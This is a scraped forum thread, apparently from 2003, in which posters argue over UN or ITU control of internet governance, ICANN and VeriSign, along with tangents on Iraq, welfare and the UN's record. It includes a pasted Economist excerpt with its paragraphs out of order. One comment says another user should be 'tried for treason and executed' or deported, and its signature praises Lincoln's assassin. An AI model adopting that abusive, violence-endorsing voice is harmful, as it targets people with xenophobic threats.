Now according to your theory, you have the right to STFU when requesting information from the CIA. Congress disagrees with you, as do I, thats why the Freedom of Information Act was created. The idea behind freedom of speech isn't that you have the right to STFU, its the opposite. If someone says something you don't like, you can bitch, moan, complain, and create public pressure to change that thing... because its your right.
Another scenario: A = Media Execs, B = You, C = News Outlets & D = Federal Government
Same as above, except (as they often do) D asks A not to break a story for a few days. A agrees, passes that to C and B is the loser. Is that censorship?
[Fuck Beta]
o0t!
Isn't that the sort of structure that allowed for spam and viruses?
Indeed, as well as allowed for potted meat products and microscopic parasites.
The price of life I'm afraid.
If you've got a workable regulation to eliminate spam and virii spit it out.
KFG
The Internet is really the wild west - the great unexplored frontier. To me, it exists beyond governments and central control. When people with malicious intentions come to the Internet, the good people have no problem taking the unwritten law into their own hands. In a weird sense, the Internet is our one chance at an unbounded pseudo-utopia that is controlled by no entity. No one can tell us what to do or how to behave.
The real threat, as you said, are the government organizations that vie for control of this amorphous mass. They want to dictate what we see, record our actions, and like any government institution tax us to death. I would add corporations as our enemies as well. By pushing for legislation in the government, big business may one day control the Internet. We've already seen the frightening effects of this with Verisign's unbridled and unchecked power.
Both governments and corporations are an undeniable threat to the Internet. Indeed, they will destroy the Internet in their selfish quest for power and ruin it for everyone.
As Internet users, we must be aware of these ongoing assaults on our digital freedom. We cannot allow any organization to gain control of the Internet - no matter of said organization claims to work on behalf of the greater whole.
I can't remember who, but one of the great sciece fiction masters compared the post World War II world to a tighty packed room where everyone is armed with hand grenades. The situation, by its very nature, tends to erm, "dissuade" major disgreements.
To make laws that man cannot, and will not obey, serves to bring all law into contempt.
--E.C. Stanton
>at the moment the usa more or less control the internet
"More or less", eh? How about just plain old "less"?
The US government does not control the internet in any meaningful way. The internet is controlled by the entities that own the routers...that is, the people and businesses that ponied up the money to BUILD the internet.
What's going on here is that a bunch of tin-pot tyrants are jumping up and down whining about how they can't control what people do on this network, so they want their puppet agencies at the UN to tell the people who did all the work "hey, you did such a great job, we're going to come in and STEAL everything you and your cohorts have spent the last thirty years building".
On behalf of the giants on whose shoulders we all stand, I say HELL NO!
There are multiple ways to get food in the USA. First, if you are careful and learn basic cooking skills, the USA is a very cheap place to eat. All those farm subsidies we hand out.
Second, the Food Stamp program doesn't have a time limit, you can get Food Stamps for as long as you are under the income limits (hidden way of subsiding our food producers). You may have to have a work part time, if you are able, but that is all. Food Stamp benifits are based on income, the less you make, the more you get. A family of 4 with little income can get 250 USD or more per month in food stamps.
Lastly, their are a great variety of food banks and/or churches that will help out by providing food.
As soon as I see that headline I will be so happy because it will mean an end to the highjacking, i.e. theft by some US based crim^H^H^H^H entrepreneur, of the TLDs belonging to small and insignificant nation states. It will mean the end of getting spam from the spivs known as ICANN or an email stuff-up if one types an IP address uncorrectly. It will allow the creation of a fair way to make some new, sorely needed, TLD's. It will create a stable source of revenue for UNESCO and all the other UN agencies to do the good things they do so well.
I'm not too keen on having the UN administer content supervision though.
I'm hardly an average anything, let alone American. Among the things that makes me less than average is having spent time in the UN. Hell, most of my postage stamps are UN stamps purchased in the UN building itself.
This may, perchance, give me some edge in knowledge.
I have never wondered why the occupation of Iraq is illegal. I've stated why on the web on a number of occasions. Because it is in violation of American law and principles.
Of which you seem to have no knowledge. Likewise international law.
KFG
Corporations are in their own way government bodies, although most people involved with them don't think of them that way.
They would think of themselves as independant capitalists.
Weeeell, no, not really. An independant rug merchant under a despotic ruler is more of a capitalist than most corporations really. His business is real, ancient and nearly immutable.
Corporations only exist by a government fiat. They are a legal fiction created by government. They are thus natural bed fellows.
And hate the rug merchant.
KFG
You left our one. Then expect the US to pay for it and provide all the equipment required free of charge.
If you don't like what I write don't be a CS and mod it down. Refute it.
Yea I can't spell. So what is your point?
Visualize Whirrled Peas.
-- @rjamestaylor on Ello
Having been educated about the food stamp system, I certainly agree that the US situation is not as extreme as those which you allude to.
Nonetheless, there is an issue here: is it right to force people to work in poor conditions, essentially giving up most of their waking hours for someone else's benefit, merely so they and their families can enjoy a minimum level of health and shelter? For that is what the system achieves.
It is not as blatant, but it still is a matter of coercion through the control of necessities. It's a matter of degree (and maybe subtlety), more than one of kind.
PS: What really is so bad about some people with no ambition living off the taxes of others? The money that we 'earn' has very little to do with how hard we work or the worth of that work. The money we receive from various sources is ours only inasmuch as we have control over it; we owe too much to external factors and the support of the society at large to claim that we receive in accordance with what we deserve.
PPS:
Can't speak for the US, but in Australia this is a widely held but inaccurate belief. The majority of long-term unemployed want to get off welfare and support themselves (not least because living on welfare is typically a pretty miserable existence). Yet for whatever reason, the majority of the population seem to believe that most people on benefits for a long period are dole-bludgers. Some are, sure. But they constitute a small minority. It may well be different in the US, given the difference in minimum wage provisions.No, but it is not a representative democracy.
Remember, this is the Internet: we're talking about the whole world here.
Whether or not the U.N. is a representative democracy, the United States certainly isn't, simply because it only represents Americans.
The U.N. is a useless body. In its entire history, it has never accomplished anything without the substantial agreement and cooperation of the Great Powers.
This is a ridiculous statement: it's essentially equivalent to saying the Great Powers have never jointly accomplished anything without the substantial agreement and cooperation of the Great Powers, therefore they're powerless.
The U.N. was never intended to be a world government. Could you imagine the Great Powers willingly creating a supernational force to directly rival them?
The effectiveness of the U.N. is not measured in troops, military alliances, etc., but in its programs, in its use as a global forum for communication, etc., etc. As a formal international body it's a hell of a lot better at solving the world's problems than the random, ad hoc networks of treaties and alliances that predated it.
The UN is Dead, who cares about it. iNet is every1 .
You do realize that "Europe" consists of several countries? In Finland, our president is a woman, our previous prime-minister was a woman, our previous speaker of the house was a woman. So, what were you saying?
How can you say that american culture and history is somehow "better" tha European culture and history? How do you define "better" in this context?
Any links to proove that the US medical-system is "best"? And since it doesn't take care of all those who need it, can it really be defined as "best"? Besides, there are private hospitals in Finland, where the better-off could go to get treatment. And I dare to say that quality of the care is at least as good as anything you could get at USA.
God bless America so they could attack sovereign nations without provocation? And imprison citizens of foreign countries, throw them in to a concentration-camp and hold them there without accusing them of any crime or giving them access to legal aid or consult their embassies? Yeah, God bless America indeed.
BTW, have they found any WMD's in Iraq yet? No? That's what I thought....
Lesbian Nazi Hookers Abducted by UFOs and Forced Into Weight Loss Programs - -all next week on Town Talk.
I'll take my Constitution over that UN toilet paper any day.
-- Will program for bandwidth
The truth is that anarchy serves the Internet better.
I'm inclined to agree. Someone, though, has to decide such things as what top-level domains ought to exist, and when VeriSign is abusing its authority.
What I mean is that something like ICANN has got to exist. Given that premise, to whom should it report?
What would it be like if the US could enforce its draconian and restrictive view of intellectual property on 'Net locations overseas? What if the Chinese could compel compliance with their censorship regime beyond their own borders?
Yes, I'm inclined to think that there should be no control over such things at all. And the apparent European proclivity for excessive regulation does make me uneasy about this.
Damon Dimmick is dead wrong in writing about "small countries" !
...
...
The story says:
"An attempt by developing countries to put"
and later:
"Poorer nations such as Brazil, India, South Africa, China and Saudi Arabia, "
Everyone knows that China is the biggest in population but do you remember that it has also the biggest internet-userbase. You can call China poor and developing, but not small !
Let me get this stright DARPA invented the "internet."
DARPA funded by the US government via my tax dollars.
Now the UN thinks it needs to control it?
I am not confusing the "internet" with the "world wide web."
The "world wide web" is something else again in my thinking.
Let me see take ICANN control away from the nation that invented the internet and give it to the UN.
Also to demand that my nation (through my taxes) fund the internet build out for Saudi Arabia, China and Iran, bumb fuck Egypt and all points between?
I don't think I go along with that.
What sane person would and what rational reason would they have to do so?
Self interest?
It wouldn't be in my self interest.
This is the same UN that brought you Rawanda and Bosnia.
The same UN that Lybia chairs the human rights commision for?
You think it can run the internet?
No thanks.
I would rather spend that money on providing broadband to every US citizen first, then Mexico.
At least that would be in my own self interest.
If that kind of money is to be spent at all spend it in the NAFTA zone.
ICANN is totally screwed up but it can't hold a candle to the UN.
Screw the UN.
If you don't like what I write don't be a CS and mod it down. Refute it.
Yea I can't spell. So what is your point?
> God Bless America, with barely 300 years of dire history and culture
Hint: we're still on our first Republic. France is on their fifth, with intervening Reigns of Terror, anarchy, kings, emperors, and Nazi collaborationist regimes.
You're actually on your third or forth, depending on whether you count the native Americans you removed. Then you have the pre-confederate days, a small war for independence (with some French aid) got rid of the English.
Then you got a decade or so of weakening the confederate government and a transition to a republic with the drafting of the Consititution. Then you had a civil war when the South decided they liked holding Africans as their property.
Your culture dominates the world...yes, yes it does, congratulations on that.
Why I would step into this cesspool of a thread, I don't know.
But, I think this post raises a fascinating point about what constitutues a culture and a race. Culture is often considered to be associated with language which would probably still make China far more multicultural then the US since even the rural people tend to be bilingual in spoken tongues. The characters, which are functionally somewhat akin to a huge alphabet, don't change, but the spoken tongues vary literally from province to province and are mutually unintelligible wihtout a doubt and for good historical reasons.
So, if we use language as a basis for culture, we can indeed say that China is much more multicultural than the US and have a factual basis for this assertion.
But race as a reference to a group of genetically similar or dissimilar populations is an even more interesting way to define "culture" becasue if you look at it carefully you find that even the notion of race itself is defined differently in different cultures. So, of course, to an American looking at China, there's not question that there is a wider range of racial representation in the US than China because they're using the American definition of race. But if you were to take, for instance, a medical view of race, you might look at bone marrow compatibilities. Apparently it's true that one distinction between, for instance, blacks and whites in America is their high liklihood of inability to exchange bone marrow.
However, if you look in China, you will find that there are over seventeen types of incompatible bone marrow that you could technically argue are racially unique blood lines.
So, the definition of multicultural is not as clear cut as it seems. There's a context to every instance of language use that is ignored in casual conversation, but comes into play when talking about enormous notions like "cultlure" that is ignored at peril when you're using the phrase in American English and assuming your reader shares your background. Given that context, it's not surprising that your results appear to prove your point. However, appearances can be deceiving when dealing with the BIG issues.
We would still be using ancient 110 baud teletype machines. face it, the UN is a bunch of clueless politicians who weren't elected by anyone and who presume to speak for the rest of us and who presume to tells us all what we can and can't do without our consent. Tell me again what makes you think that they know anything about the Internet or would have any more insight as to how it ought to be administered than the lowliest newbie? Remember, they are supposed to be experts in international relations and look how bad they screwed that up! --Brian
Then let me ask you one question. This so wonderful, useful society, which all governments are supposed to be a part of, should be in a location fitting this ultra-neutral platform.
... I know it's around here somewhere ... IN NEW YORK CITY.
Now, where did they decide to put that headquarters
After it moves to Switzerland, we'll talk.
The idea of sovereignty over networks means that we may see a fundamental shift in the ways that nations define themselves. If you think about it, it's already bullsh*t that borders on land are _what_ defines a person's nationality. Now, if some group of people, say, with a common interest and a somewhat unified vision could petition for oversight of networks, should they end up with a substantial number of them. Imagine The Sundial Shifters, a band info-anarchists who believe all information should be free because by virtue it wants to be. So, who in the world gets to tell them what they can do on their networks? NO ONE! That's right. And who gets to tell you what _you_ can do on their networks? Your nation, Annunaki Initiates United (click here for their charter and the governing body (whatever implementation of that particular concept you think could be applied to a bunch of info-anarchists... ;o). And wouldn't that suck, if you were, by ideology, an info-anarchist and at the same time, by nationality, an individual who is answerable to the horribly restrictive and oppressive laws that are forced upon you, by birth and a bunch of ass-holes who run everything. Which, by the way, strictly restrict access to any sort of external network, and where the mere mention of info-anarchy is punishable by something vile. Then you'd have to escape your nation if you wanted entrance to the Sundial Shifters network, a group of people who would more than likely welcome you into their ranks, a process that perhaps at times that could prove as simple as just setting up some private keys with another nation, ditch the old one, and get to some Free Land. Anyway, I digress, as I must before I write a whole cyberpunk epic here in this stupid comment box, but my main point for philosophical pondering comes down to this question:
In a world where nations determine networks, what's to stop the ones that provide network solutions from taking sides? And at what point, after this fragmentation of traditional concepts of nationality, would one nation be able to declare war on another nation?
This is truly interesting, and I am happy that the Information Age is already starting to take form. The problem though, at this crucial point, is making people realize that we have little to no reason to hold alliances with parties that do not have our own best interests in mind. Anyway, let's pray that capitalism prevails and we see a free market of nationalities, with democratic freedom of choice for all!
John Haltiwanger's Cyberform aka ab5tract
All ideas presented here are mine as per my cache of this webpage, 11.11.2003 (the Red Magnetic Dragon, for those of you in the know). Don't act like you haven't seen them before if you ever decide to use any of them, and we will be fine (stupid US-implemented network not giving me proper provisions to prove my own ideas are my own... let's get together and make one right, sometime, shall we?).
Try visiting London (England) some time.
The FT is taking the lead from this Economist article that appeared on 30th October(http://www.economist.com/printedition/disp layStory.cfm?Story_ID=2177567) suggesting that as a result of the Verisign and ICANN debarcle, that the ITU and related parties have been making noises about regulation of the Internet.
.com and .net databases (and earns $6 a year per address). In September, VeriSign launched a service that automatically redirected users who mistyped a non-existent .com or .net address to VeriSign's own search engine, where it earned advertising revenue. Alas, this disrupted other internet technologies: it fooled certain spam filters into assuming that some junk e-mail was legitimate, for example. After ICANN threatened legal action, VeriSign agreed to suspend the service.
.com and .net addresses; now, after ICANN introduced competition, its market share is roughly 25%. When VeriSign acquired the registration business in 2000 for a staggering $21 billion in shares, it justified the price tag based on the potential to bolt its web-security software on to the underbelly of the internet's address infrastructure. But such synergies failed to materialise. In October, VeriSign sold its retail name-registration business to Pivotal Private Equity for a paltry $100m.
Here's the article (copied for fair use of news reporting, criticism and review):
Time for UN intervention?
Oct 30th 2003
From The Economist print edition
A regime change may topple ICANN, the controversial internet regulator
WHEN Augustine arrived in Carthage, the saint found a seething, bubbling cauldron of wickedness. A similar fate has befallen the controversial internet address regulator, ICANN (the Internet Corporation for Assigned Names and Numbers), which hosted its trimestrial public board meeting this week in the Tunisian city. Five years after it was founded as a quasi-private body with the backing of many governments, ICANN now faces its most severe test. The environment for which it was designed has radically changed: the business of selling domain names collapsed; governments are keener to oversee the internet; and ICANN itself proved maladroit in carrying out its tasks. This autumn, these three factors collided. How ICANN handles the situation will determine whether the internet's core infrastructure remains managed by industry rather than by international treaty--and highlights the need to balance stability and innovation.
The most visible dispute is between ICANN and VeriSign, a firm that operates the
This shows how much the market for internet addresses has changed. VeriSign needs new services to generate revenue, since selling names and operating the registration system is not as lucrative as it once appeared. In 1998, it had a monopoly on
More importantly, VeriSign's willingness to risk antagonising its regulator reveals the extent to which ICANN's authority is in doubt. Some governments feel that they could do a better job. At a pre-meeting in September for the United Nations' World Summit on the Information Society, which begins in Geneva in December, a number of countries backed a proposal that a different body, the UN-affiliated International Telecommunication Union, should take on the activities that are currently within ICANN's remit. In policy circles, the idea represents a significant snub to the notion of private-sector management of the internet's addressing system.
The threat of being ousted in favour of the ITU helped to push ICANN to confront VeriSign, to prove that it was up to the task of keeping order on the net. But it also exposed an irony that was made clear at this week's board meeting in Carthage, where ICANN's allies and enemies congregated. In the past, the debate over how to run the internet has focused on the risk that too much government regulation might stall innovation. Indeed, industry and governments themselves
There have been many proposals for member countries to permanently allocate forces to the UN but this was always blocked. Primarily by the US.
See my journal, I write things there
Having the Internet controlled by a huge bureaucracy is probably not a perfect solution; but letting huge companies taking over is a definite nighmare.
Let us compare with something revelant : duplication of information of the Internet is quite similar to duplcation of molecules in pharmaceutic industry, in the sense that it takes lots of time and ressources to do the research, and that mass production is comparativly cheap. What do we see, for instance, in Africa with medical supplies ? Huge companies, that could basically fead the whole Africa with their advertising budget (I didn't say they should, I say they could) do their outmost to maintain pirces as high as possible, and the UN, or UN-related organisations, try to impose low prices and generic medication.
And this isn't about your little confort about downloading mp3s or playing DVD on Linux, it's the actual life of millions that gets jeopardized.
To this respect, a UN-ruled Internet is far less frightening that a Microsoft-SCO-Apple-SUN-Vivendy-RIAA-....... ruled Internet.
Thank goodnes we don't have anything like that here:
Bostonian: Paahk the caah neah Haavaahd Yaahd.
Translation: Stow the automobile in the proximity of Harvard Yard.
Alabaman: Djeetchet? Yompto?
Translation: Have you recently ingested food? Are you desirous of such?
Heisenberg might have been here.
Where freedom of speech applies to EVERYBODY, even the ones with unpopular causes. Hint: popular causes don't NEED freedom of speech.
Hint: If freedom of speech applied to everybody, you wouldn't have "Free Speech Zones".
And I don't particularly like the idea of the 'Net resting in the hands of the government who gave us the Patriot Act, Guantanamo Bay, a total disregard for even their own judicial process, and one of the worst educational systems in the developed world.
But hey, that's just the opinion of an educated foreigner, isn't it?
The UN has not prevented a world war, claiming that is like claiming it has prevented anyone from taking over the moon.
The UN has done a great job of standing by while many more millions have died. It has no power to enforce peace unless all members of the security council decide otherwise. NATO has done quite a bit more in enforcing peace than the UN.
The UN turned a blind eye, along with much of the world, to the genocide in Africa in the mid 90s. The UN also ignores Chechnya, Tibet, and anything else that China and the USSR don't want inteference with. They did a great job of ignoring Afghanistan back in the late 70s.
The UN is only as effective as the Security Council allows it. The UN only has money to spend because the US gives it money. No other countries are willing to step up their dues, yet all scream righteously when the US holds back.
The General Assembly is nothing but proof that a bunch of nut-case dictatorships know how to abuse a democratic process. Witness all the anti-Israel and US crap that comes from it, witness their Human Rights commission which is lead by Libya, has Iraq and Iran as members.
The UN was relevant, trouble is that too many countries were given a voice that have no business doing such.
* Winners compare their achievements to their goals, losers compare theirs to that of others.
Due to the usefulness and utility of the internet many companies and individuals have come to rely upon it. These people want it "regulated"
Regulation of the internet is a BAD thing. It should stay unregulated, and people should put up with the spam. It was never designed to be a secure, safe medium.
...umm excuse me but how did Saddams regime terrorize the USA?
And 15,000 Iraqi casualities is hardly neccessary.
The UN General Assembly voted today, under mounting pressure from the EU and bandwidth-impaired third world countries a ban on Unsolicited Commercial E-Mail (UCE), commonly known as 'spam'.
This vote was later overthrown by a veto of the United States of America in the security council. The US strongly oppose any regulation that would prevent marketers from selling their goods and considers the U.N.s general assembly vote as an attack against Freedom of Speech(TM), and deem it "counter-productive".
The Ambassador of the United States to the U.N. announced today that "either, you're with us, or we'll close down all our connections to countries which won't respect the US UCE Protection Act (also known as the opt-out model). Protests from other countries were left unheard.
Seriously: The best Internet should not be run by countries. We'll just be creating a super burocracy here!
cpghost at Cordula's Web.
What underlies this article is an important debate that needs to take place on the intersection of content available on the internet and local cultural values and mores. I.e. if your indigenous culture has certain values and traditions on marraige, age of sexual consent, the resort to violence, etc, how do you deal as educators, parents, religious leaders and government officials with the kind of content available on the net?
To say that all information should be available to everyone ignores questions of pornography, depictions of violence, consumerism, that have serious effects on societies. Obviously censorship is just one of a range of choices that governments have. But having an international dialogue on these issues is a GOOD thing that does not deserve to be rejected outright, as is being done here.
How is my comment "troll"? I stated facts. USA invaded Iraq with no provocation. No WMD's have been found. There is a concentration-camp in Guantanamo Bay where people are being held without being charged of any crimes.
What exactly is trolling in my message, while the flag-waving jingoist post I was replying to was moderated as "insightful"? Or is it just that some americans simply cannot accept the truth?
Lesbian Nazi Hookers Abducted by UFOs and Forced Into Weight Loss Programs - -all next week on Town Talk.
According to NTK
...with yet another shortcut being taken by the Evil Intellectual Property Developers at the World IP Organisation's copyright committee. Here's the scene: the IPers want to create a bundle of new IP rights: not for creative artists, but for those who package and broadcast their works on air or online. The idea is that a broadcaster can record a public domain or Creative Commons licensed work, claim "FIXATION RIGHTS" to it, and retain control of that expression for the next twenty years. Did I say twenty? I'm sorry - that's what they used to want. Now it's *fifty* years, to match Sonny Bono inflation in copyright extensions. WIPO thought this was a done deal (after all, who could complain about more rights?) - until a few of the developing countries and those pesky open source advocates started taking note. Developing countries: not so keen on yet another round of having their native cultures air-lifted out of their control. OSS folk: not thrilled about a WIP definition of "broadcasting" that could include docs, files, or executables. Could you take a GPL'd program, "broadcast" it on the Net, and then claim exclusive copyright control on that expression? No-one at WIPO knew. The end result: not for the first or last time, the developing world teamed up with the free software folk to backburn the proposal. Well, all except Kenya, who went on about how they'd passed a law banning people from taking photos of TV broadcasts to prove what a good IP world citizen they were. Better to back the Bitching Boys than the Fat Cats on this particular track, we think...
another Jamie Love song
wish they all could be non-infringing
Who knows. The UN has done some serious good stuff, and some horrible things (The UN Drug Office, http://www.unodc.org/ springs to mind, whose board members in the 80ies consisted nearly solely of Ex-Nazis. Not that the US wasn't responsible for their appointment..).
--
"The more prohibitions there are, The poorer the people will be" -- Lao Tse
I can also be sure that the US pays way more than any other nation to support and run the UN as well, no matter how far behind in it's dues' it is. The US pays more than any other nation but for some reason thats just according to the UN. Screw the UN.
If you don't like what I write don't be a CS and mod it down. Refute it.
Yea I can't spell. So what is your point?
All censorship is bad. Regardless of it's supposed justification censorship is bad. Screw the UN.
If you don't like what I write don't be a CS and mod it down. Refute it.
Yea I can't spell. So what is your point?
Since when do Freepers spit on black people?
Just a question. Unfortunately it seems that all Americans are convinced that the sole role of the UN is to take away the rights and freedoms of the good ol' US of A.
Where does this view come from? Is it from the UNDHR - a document that promotes the rights of individuals to have free speech, free elections and equal opportunities? Is it from that evil organisation UNESCO which works evilly to eradicate disease and poverty? Is it from those oppressive peace keepers, putting their lives at risk around the world to prevent genocide?
Or is it because it refuses to bend and take it up the a*se from the US and agree with everything the current lunatics in the Whitehouse demand?
This only proves that they don't know what they are talking about.
:-p, isn't much the UN can do about that :))
Monitor the internet...everyone can do that today. (well, maybe some p2p clients blocks certian organisations IPs to prevent them from monitoring their content
Restrict and remove access to internet resources...everyone can do that to. Just a question of controling the national ISPs and outlawing using foreign ISP via phone/satelite lines.
Whoever is suggesting this must belive there are a central governing of the internet, so duh...good luck.
The US aint going to give a shit about what the UN says anyway, as long at it doesn't suit them. They've proven that many times before. (Look at who is vetoing sanctions against Israel...)
This is just plain FUD for the non techies...
#find
The UN had 12 years and 17 resolutions declairing that Saddam was a global threat. No action was ever taken by them.
.cn. What could the UN do other than make resolutions?
So a spammer is spewing out 13 million a day from
I know this looks like 'bait to this crowd, but I'm not speaking of the political consequences, but of the effectiveness of the UN. They seem to do only one thing well: deliver food and medicine to countries with those in need. Even then they tend to fail in that those with need are freqently no the recipients.
--- "1.21 Jigawatts!" -Doc
Uh... where did you hear of widespread World Wars before the 1900s?
Come On! This time we REALLY mean it!
Stupid sexy Flanders.
"...since its [sic] not overwhelmed with the non-paying poor."
And there you have it. Welcome to America, if you can pay up front!
No, it's "Welcome to America, if you can pull your own weight." We are not communist, there is no need to support people who don't do anything to earn the support.
-
"Vengeance is fine," sayeth the Lord.
Well, technically, they want control (force) because force is a means for profit. The more a government expands in size, scope, and power, the higher the potential profit for those who control governemnt. Logically, the leader of a communist government, holding virtually unlimited power, stands to profit more than the leader of a government which is strictly limited in power.
There is a very good reason why the US government today dwarfs the US government of only 100 years ago: because it benefits those in power.
Perhaps it is time for the internet to mature. Right now law enforcement and justice on the internet are a little bit like they were in the Wild West. Crooks don't have to worry too much about getting caught and if they do, chances are they can just move from that juristiction to another and continue business as usual until they catch the attention of that countrys law enforcement officials.
That is the down-side of the anarchistic internet. The plus side is that the internet has brought freedom to people who have seen little of it before. This freedom has benefited the internet by allowing people to develop some decidedly awesome things (like Web Browsers and even operating systems).
In my mind, the question is: How do we create laws that stop what should be criminal activity yet encourage freedoms? I'd love to see spam regulated or even outlawed. I think that police should not have borders when it comes to pursuing child molesters and other scumbags. Scammers should get what they deserve, no matter where they are or where their victims are. Laws can help in all of these cases.
Political free speech and other human rights should remain free on the internet and by having a political body oversee the internet, it is possible that they would either intentionally or inadvertantly open the door to regulating these. Also, I have no doubt that someday a "cyber-war" will be fought. When this happens, if the internet is regulated, political entities may be forced to take sides and isolate their countries internet resources from the opposing side and many other countries in order to remain neuteral will isolate their resources from both sides. It is a large world, perhaps several of these wars will be fought at the same time and when and if that happens, we will have a fragmented internet that is no longer a single entity. I can see more harm than good coming from that.
The UN could create a body to oversee the internet and pass resolutions that "require" member countries to adopt certain standards as they relate to the internet. Doing so would help police track down criminals who prey on people on one continent while working from another continent. For the most part these would be good things but, it also opens the door to a country restricting a Yahoo or Google from doing something in that one country and forceing the host country (the USA in this example) to enforce the rights-restricting law. That would be a bad thing.
It seems I still have more reservations about regulating the internet than I see good in doing so. It is easy to say let the UN do this and we can be rid of spammers and scammers but there is also too much of a potential for abuse in regulating it too. I fear that more than I fear spammers and scammers.
Lets burn some karma points here..
You don't deserve to reap the benefits of those that died and sacrificed to gain the freedom you misuse. You are a good example of the problem in this country currently, and you should be tried for treason and executed.. or shipped back to wherever your ancestors came from, you are not welcome here..
And for the record, I have a copy above my desk of both the constitution and the bill of rights. ( the only amendments that actually count )
---- Booth was a patriot ----
The UN is just a facade for richer countries to control the poorer countries. Always has been this way (in some form or another) and will more than likely always will be. Dont be deluded by media and political flag waving that goes on when something 'good' comes out of the UN. Its like all marketing, promote what you do well, and keep the things that go bad quiet.
.. If it were.. then poorer nations would have equal say in the way they should be treated - its almost as disgusting as the US senate, trying to buy votes for an ammendment.. if it were, then the world would have a plaform with which to deny people to bomb each other.. and Israel would listen.. if it were, then Palestine would have a border that doesnt move every two months. If it were, there would be no such thing as an 'Israelli settlement' inside Palestine.. If it were, East Timor would not have been saved just for a massive gas field and sold off to the rich for peanuts.. yes.. if it were...
- No world wars in 50 years
This is a joke. So instead of a large conflict we have a huge number of smaller conflicts - in fact the number of conflicts has been increasing for the last 50 years. Look at Africa, South America, Asia, and Eastern Europe, hardly what you would call 50 years of peace. LA riots ? I guess thats peaceful..
- Negotiated and enforced many peace treaties..
You kiddin me right? As other posters have noted, most treaties are broken on a regular basis, and the UN's 'force' is only a minimal contingent able to intervene in small conflicts. Israel for instance has broken more UN agreements than nearly any other country, and yet they dont seemed to have drawn much critism for it? Why not? Because it is the affluent countries that get to decide policy, not the less fortunate ones. Morals and political will tend to reside on the side with the most money.
- Economic and other sanctions have had positive effects..
This is plain rediculous. Sanctions were the main reason tens of thousands of Iraqi children died.. utterly ludicrous.. Even one high level UN official resigned directly because of this woeful stance. Economic sanctions only hurt the poor in countries that are often already very poor. Its a disgusting way to treat humans. Cut off any hope they have of being able to feed their nation, or give them health care, then blame the current political leader of the country for it!!! That makes me sick. Look at North Korea, look at all the economic sanctions the US has placed on them.. who does it _directly_ effect.. not the rich and powerful in the country because they can maintain their status quo from their powerbase, but the poor.. they suffer directly from any sanctions.. you should be ashamed to think sanctions are even a valid way to treat fellow human beings.
- WHO has done some fantastic work in the 3rd world.
This about the only good comment amongst this muck. Sadly the WHO is undermanned.. and under funded. And along with sanctions applied by the UN and trade embargos placed by countries they have their hands tied.. Fighting some of the worlds health issues without the abilities to supply cheap simple medicine due to some political wrangle..
- Its the worlds first.. rah-de-rah...
Its not. If it were, then the US wouldnt have gone into Iraq (where was democracy then?)
- Has, respectively, saved the countries of Korea, Kuwait..
Saved? Whom did they save? US, millions of dollars of oil.. yes.. saved indeed. Korea is saved? from whom.. North Korea has been saved by ensuring no goods from America get there.. along with many other goods from other countries.. including food.. saved.. South Korea.. yes.. they were saved.. they now have all the Coke they can drink and all the MacDonalds they can eat.. saved.. I guess saving the Balkans would be included, especally after finding a rather large oil field.. coincidence.. yes of course.. they went in to save the country that had be fighting for FIFTEEN YEARS!!!
In a perfect world the idea and the ideals of the UN wou
BAM.
N4st0r, trixx0r h0bb1tz0rz! Th3y st0l3 0ur pr3c10uzz!
The Internet is extrememly important in breaking down the little club of dictators, communists, and thugs that still exsists in todays world. The UN is a country club for these bastards. No way would I want the UN to control the 'net. Fsck them there time is up!
Onward to the Aether Sphere!
You're lumping together two separate problems into the same bin. Of course, child pornography, hate language and other "content-monitoring" concerns are on most countries' agendas, but no one needs ICANN to combat them; they need Interpol for that. So why place the Internet under UN governance? Because since ICANN is a semi-commercial organization, it could be argued that it falls under the dominance of the United States government. And frankly, no one outside the US trusts George W not to try and take advantage of it once he figures this out. It's too much power to lie in the hands of any one government, especially when that government is so grossly more powerful than all of the others to start with. Which is exactly why it should be placed under the aegis of the UN; so that no particular government can have complete control over it.
This is a common troll. Why even dignify it with a rubuttal?
Not everything is analogous to cars. Car analogies rarely work.
If you're so worried about the earth charter, have you actually read it? (you can download it in PDF here). The only mentions of religion I could find at all were: 12 a) about eliminating discrimination, including based on religion, 12 d) Protect and restore outstanding places of cultural and spiritual significance.
The Earth Charter has essentially nothing to with religion, and certainly doesn't advocate a "world religion".
As for the International Criminal Court, first of all the ICC is voluntary. Any nation can refuse to sign it, and the US did refuse. So what is the problem? But you also blatantly ignore the problem the ICC was set out to solve: How do we bring criminals to justice when a crime is committed outside the jurisdiction or reach of an effective nation government, or in a nation where the government refuse to take justice seriously. Specifically, the reason the US refused to accept the ICC was the prospect that US service men might be tried and convicted for crimes carried out abroad - which is understandable given the US military's tendency to ignore local laws for their service personell.
If the US were concerned about justice, there would be a whole lot less need for the ICC.
You're further quoting Jacques Cousteau, trying to pass off the quote as somehow official UN policy, when it is the opinion of one person. However what he is saying is in many ways true: The earth can't sustain an infinite number of people - growth needs to be stabilised. It can happen one of two ways: We take family planning seriously, and reduce the number of births, or it will "solve itself" with lower life expectancies due to hunger, disease or conflicts. How is it bad to suggest that something needs to be done to prevent future generations from massive suffering?
You also point to an out of context quote on private land ownership, ignoring that the main point is that public control of land use is vital to ensure that private land ownership isn't used to gain a choke hold on society. If you oppose public control of land use, does that mean you would be happy to allow me to buy the plots around your house and set up a drug addict rehabilitation centre, a brothel, an abortion clinic and a sewage dump on the respective sides of the house? I'd assume that you, like most of us, would find at least one of the above annoying as your next door neighbours.
The reason you can avoid that, is because land use is strictly government regulated, to ensure that someone doesn't abuse his or her "freedom" combined with wealth to shape society they way they please.
I also assume the page you wanted to point to was this which starts off with a fraudulent Marx' quote... I guess they assume noone visiting their site either have read the Communist Manifesto, or would bother searching for it on Google and checking. They then go on with another quote taken massively out of context (it's at the end of a paragraph explaining why this "property" they want to take away is the property aquired through exploitation of workers, which Marx' wanted redistributed, for starters through massively progressive property taxes, removal of inheritance rights and abolution landed property and land rents).
The page then goes on to present Habitat I as some sort of support for carrying out Marx' ideas, when what it is advocating is government control over land use as opposed to public (note: NOT government - in The abolition of landed property he specifically says on explaining nationalisation of land ownership "There will no longer exist a government nor a state distinct from society itself", something which was a key part of Marx' political foundation - a Marxist "communist" state is
